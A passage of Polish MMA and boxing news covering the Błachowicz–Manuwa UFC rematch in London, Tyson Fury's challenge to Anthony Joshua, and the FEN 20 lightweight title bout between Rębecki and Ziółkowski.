Nic z tego. Błachowicz nie przypominał zawodnika, który efektownie rozprawił się z Latifim. Polak był pasywyny i walczył przede wszystkim w stójce. Manuwa może wielkich rzeczy nie robił, ale cały czas był aktywny. Anglik spychał Polaka do siatki, uderzał kolanami, jednak krzywdy rywalowi nie zrobił. Sędziowie wskazali na Manuwę – 30:27, 30:27, 29:28.

Po blisko trzech latach polski wojownik będzie miał okazję do rewanżu. Błachowicz zmierzy się z Manuwą 17 marca w Londynie podczas gali UFC Fight Night 127. Polak ma juz zdecydowanie większe doświadczenie w amerykańskiej organizacji, nauczył się wychodzić za tarapatów. Bilans Błachowicza w UFC to cztery zwycięstwa i cztery porażki. Jednak teraz może pochwalić się dwoma wygranymi z rzędu. Najpierw przed czasem rozprawił się z Devinem Clarkiem, a później uporał się z Jaredem Cannonierem. Z kolei kariera Manuwy układała się wręcz idealnie. Po walce z Błachowiczem, rywalizował z twardym i skutecznym Anthony'm Johnsonem, jednak bezskutecznie. Dwie wygrane przed czasem pozwoliły snuć marzenia o starciu o pas mistrzowski. Jednak wtedy niespodziewanie w pierwszej rundzie Manuwa przegrał z Volkanem Oezdemirem.

Rewanż za Kraków zapowiada się niezwykle ciekawie. Akcje Błachowicza stoją wysoko, z kolei Manuwa będzie chciał pokazać, że ostatnia porażka to tylko i wyłącznie wpadka.

Kto jeszcze?

Karta walk w Londynie powoli zapełnia się. W O2 Arenie zaprezentuje się urodzony w Zabrzu Peter Sobotta. Niemiec rywalizujący w wadze półśredniej będzie chciał zatrzymać rozpędzonego Leona Edwardsa, który wygrał ostatnie cztery starcia.

W Londynie zobaczymy również Nasrata Haqparasta, który w październiku przegrał z Marcinem Heldem. Kolejnym rywalem 22-latka będzie Alex Reyes. Podczas londyńskiej gali wystąpią również: Paul Craig w walce z Magomedem Ankalaevem oraz Mark Godbeer, który podejmie Dmitrija Poberezhetsa.

KM

Fury mierzy w starcie z Joshuą

Były mistrz świata wagi ciężkiej WBO, IBO, IBF i WBA Tyson Fury przygotowuje się do powrotu na ring. 29-latek nie kalkuluje i od razu chce rywalizować o najwyższą stawkę. Fury rzucił wyzwanie czempionowi IBF, WBA i IBO Anthony'emu Joshule.

Nikogo nie trzeba przekonywać, że olbrzym z Wilmslow uwielbia robić wszystko, aby wokół niego było głośno. Cel sportowy to jedno, a obecne możliwości to drugie. Przed Fury'm ciężka praca.

Zrzucić kilogramy

Dokonał tego, o czym marzył, ale sukces był początkiem jego dramatu. 28 listopada 2015 roku w Esprit Arenie w Dusseldorfie Tyson Fury zakończył panowanie Władimira Kliczko. Przez całą walkę Brytyjczyk walczył konsekwentnie i nie pozwolił Ukraińcowi na zbyt wiele. Fury wygrał na punkty i znalazł się na szczycie. Nowy mistrz zgodził się na rewanż z wielkim Kliczko. Po drodze stracił pas IBF, ponieważ nie stanął do obowiązkowej obrony trofeum z Wiaczesławem Głazkowem.

Najgorsze miało jednak nadejść. Wszyscy dyskutowali o rewanżu Fury-Kliczko, który miał się odbyć 9 lipca 2016 roku, a potem 29 października. Mistrz narzekał na zdrowie, ale w końcu na światło dzienne wyszły jego problemy z alkoholem i kokainą. Tyson Fury zrezygnował z pasów i skupił się na walce z samym sobą. Podjął również decyzję o zakończeniu kariery, ale nie jeden raz… Fury robił wszystko, aby o nim nie zapomniano. We wrześniu pojawił się na sali treningowej i zapowiedział, że wraca na dobre. Przez kilka miesięcy przybyło mu kilogramów, a więc najpierw pięściarz skupia się na unormowaniu wagi.

Początek roku to czas życzeń i deklaracji. Wiadomo, że Fury marzy o powrocie na ring. Chce zrobić to z przytupem. – Stawiam wyzwanie sportowe Anthony'emu Joshule, żeby walczył ze mną w mojej pierwszej od 2,5 roku walce. Jestem najlepszy na ziemi w wadze ciężkiej. Udowodnisz, że tak nie jest? Piłka jest po twojej stronie – napisał na Twitterze Fury.

Teraz Parker?

Joshua i Fury są w zupełnie innych miejscach. 28-latek z Watfordu zyskuje coraz większą popularność, a jego pięści są niezawodne. Wygrał dwadzieścia walk przed czasem. W październiku pokonał Carlosa Takama, choć pierwotnie miał walczyć z Kubratem Pulewem, jednak ten doznał kontuzji.

Teraz trwa dyskusja na temat kolejnego pojedynku mistrza IBF, IBO i WBA. W marcu w Cardiff Joshua miałby zmierzyć się z czempionem WBO Josephem Parkerem. A więc Fury będzie musiał poczekać.

KM

FEN 20: Rębecki vs Ziółkowski o pas!

Znamy pierwszy pojedynek mistrzowski podczas gali FEN 20 "Next Level", która 10 marca odbędzie się w Warszawie. O tytuł czempiona w kategorii lekkiej powalczą Marian Ziółkowski (17-5, 3 KO, 12 SUB) i Mateusz Rębecki (5-1, 4 SUB).

Nazwisko Ziółkowskiego zostało podane jako jedne z pierwszych przed jubileuszową galą FEN 20. „Złoty chłopiec” dla federacji walczył już dwukrotnie. Warszawiak znany jest z tego, że bardzo często efektownie poddaje swoich rywali. Z 17 zawodowych zwycięstw, które ma na swoim koncie, aż 12 kończył w ten właśnie sposób. Do tego dochodzą trzy nokauty i dwie wygrane na punkty.

Rębecki dla FEN stoczył już trzy pojedynki i wszystkie wygrał. Ostatnim razem kibice organizacji mogli go zobaczyć w akcji podczas wakacyjnej gali w Koszalinie. Wtedy poddany został niebezpieczny Dmitriy Golbaev. "Chińczyk" dawał jasne znaki, że bardzo chciałby stoczyć pojedynek o pas. W Warszawie będzie miał ku temu okazję.

– To będzie sportowo kapitalny pojedynek. I Rębecki, i Ziółkowski trzy ostatnie swoje walki wygrali. Waga lekka potrzebuje mistrza, bo mamy kilku mocnych zawodników, którzy aspirują do tego, by rządzić w tej hierarchii. Kto wygra na Torwarze? Nie mam pojęcia, ale bardzo cieszę się na samą myśl o tym starciu – powiedział Paweł Jóźwiak, prezes FEN.

Gala FEN 20 "Next Level" odbędzie się 10 marca w warszawskiej hali "Torwar".

Sprzedaż biletów na stronie www.fen-mma.com/bilet/